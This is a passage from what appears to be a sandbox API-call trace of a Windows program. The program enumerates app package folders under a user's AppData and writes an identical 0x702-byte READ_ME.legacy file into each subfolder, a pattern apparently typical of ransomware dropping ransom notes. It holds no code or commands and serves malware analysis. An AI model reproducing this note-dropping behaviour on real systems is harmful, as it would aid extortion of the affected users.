hTemplateFile=0x0) returned 0x830 [0150.165] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.166] CloseHandle (hObject=0x830) returned 1 [0150.166] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.166] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.167] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.167] CloseHandle (hObject=0x830) returned 1 [0150.167] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.168] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.168] CloseHandle (hObject=0x830) returned 1 [0150.169] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.169] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe28510f9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563df8 [0150.169] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe28510f9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.169] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e4b4510, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.317] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.322] CloseHandle (hObject=0x834) returned 1 [0150.324] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.325] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.328] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.332] CloseHandle (hObject=0x834) returned 1 [0150.335] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.335] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.338] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.343] CloseHandle (hObject=0x834) returned 1 [0150.346] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.348] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.354] CloseHandle (hObject=0x834) returned 1 [0150.355] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe28510f9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe28510f9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe28510f9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.356] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.359] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.364] CloseHandle (hObject=0x834) returned 1 [0150.366] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.368] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.372] CloseHandle (hObject=0x834) returned 1 [0150.374] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.374] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.377] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.384] CloseHandle (hObject=0x834) returned 1 [0150.385] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.385] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0150.387] WriteFile (in: hFile=0x834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.388] CloseHandle (hObject=0x834) returned 1 [0150.388] FindNextFileW (in: hFindFile=0x563df8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.388] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563b38 [0150.388] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.388] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.392] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.393] CloseHandle (hObject=0x838) returned 1 [0150.393] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.393] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.395] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.396] CloseHandle (hObject=0x838) returned 1 [0150.396] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.396] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.397] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.397] CloseHandle (hObject=0x838) returned 1 [0150.397] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.397] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.398] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.399] CloseHandle (hObject=0x838) returned 1 [0150.399] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe290fd2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe290fd2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.399] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.402] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.403] CloseHandle (hObject=0x838) returned 1 [0150.403] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.403] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.406] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.406] CloseHandle (hObject=0x838) returned 1 [0150.406] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, 